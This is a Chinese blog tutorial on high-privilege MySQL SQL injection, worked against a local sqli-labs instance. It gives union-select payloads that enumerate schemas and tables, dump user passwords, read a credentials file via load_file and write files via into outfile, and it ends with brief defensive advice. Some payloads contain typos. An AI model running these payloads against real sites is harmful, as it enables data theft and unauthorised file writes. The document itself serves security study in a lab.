• 周四. 12 月 12th, 2024

5G编程聚合网

5G时代下一个聚合的编程学习网

热门标签

SQL注入之高权限注入

admin

11 月 28, 2021

SQL注入之高权限注入

简介

在常规WEB网站架构中可能存在不同的网站对应不同的数据库不同的管理用户,不同的用户拥有对数据库不同的操作权限,因此获取高权限用户可以帮助我们更好的进行测试

'''
1:网站A--->数据库A---->用户A
1:网站B--->数据库B---->用户B
1:网站C--->数据库C---->用户C
'''

作用

  • 跨库查询:跨越当前数据库对别的数据库进行查询
  • 文件读写:利用注入对文件进行读取或者写入
    • 存在魔术引号:编码/宽字节绕过
    • 不存在魔术引号

靶场测试

跨库注入

判断字段数量

# 根据测试此时order by为3的时候页面正常因此字段数量为3
http://10.1.1.20/sqilabs/Less-2/?id=2 order by 3

image-20210715230325904

报错回显

http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1,2,3

image-20210715230627084

查询所有数据库名称

http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1, group_concat(SCHEMA_NAMA),user() from information_schema.schemata 

image-20210715231257140

查询数据库对应的表名

http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'

image-20210715231817088

查询表名对应的字段名

# 指定数据库名称防止有太多数据库中含有users表
http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1, group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schma='pikachu'

image-20210715232117135

查询数据

# 指定所需要查询数据库对应的表
http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1,username,password from pikachu.users

image-2021071523224553

文件读写

读写方法

  • 读取操作:load_file
  • 写入方法:into outfile/into dumpfile

load_file

在MySQL中使用该函数需要满足如下条件

  • 对目标文件拥有读取权限
  • secure_file_priv
show global variables like "secure_file_priv";

image-20210716000350663

# 修改secure_file_privsudo vim /etc/mysql/my.cnf	secure_file_priv=''# 重启mysql服务sudo systemctl restart mysqlshow global variables like '%secure_file_priv%';

image-20210716001316292

# 读取文件SELECT LOAD_FILE('/etc/hosts');

image-20210716001856819

into outfile

# 在/home/sean下书写一个文件hello.txt 内容为hello worldselect "hello world" into outfile "/home/sean/hello.txt"

image-20210717172407687

# 查看权限SHOW VARIABLES LIKE 'datadir';

image-20210717172517894

# 将写入文件修改上述目录select "hello world" into outfile "/var/lib/mysql/hello.txt"

image-20210717172654872

获取网站路径

  • 报错显示:输入错误代码使网站报错可能会显示出文件目录
  • 遗留文件:一些网站需要测试可能会有一些测试文件测试文件会有网站路径(例如:phpinfo)
  • 报错显示:知道网站使用的主题或者框架查询对应的文件路径
  • 配置文件:通过读取网站配置文件获取相应的路径
  • 爆破:例如一些常见的配置路径

读取/写入

读取

# 小白只是为了学习默认知道文件路径
http://10.1.1.20/sqilabs/Less-2/?id=-1 union select 1,load_file("/www/admin/localhost_80/wwwroot/sqilabs/sql-connections/db-creds.inc"),3 

image-20210717185537218

写入

# 注入恶意代码使用--+注释源代码的limit 0,1
http://10.1.1.20/sqilabs/Less-2/?id=-1 union select 1,"hello world",3 into outfile "/www/hello.txt" --+

魔术引号

魔术引号若是打开的话,所有的反斜线()、单引号(’)、双引号(”)、NULL 字符都会被自动加上一个反斜线进行转义

magic_quotes_gpc(),当此值为1时,会对HTTP请求中的GetPost,Cookie单双引号和反斜线进行转义;反之则不会。该操作一般见于表单提交的数据库操作,若是值为0时,便用addslashes进行转义存入数据库中,取出时再用stripslashes函数把反斜线给去掉

安全防护

防护方法

  • 魔术引号
  • 内置函数:例如使用int函数对传入的id进行判断不是整数就拒绝带入MySQL查询
  • 自定义select查询
  • 安全防护软件:安全狗,宝塔等

发表回复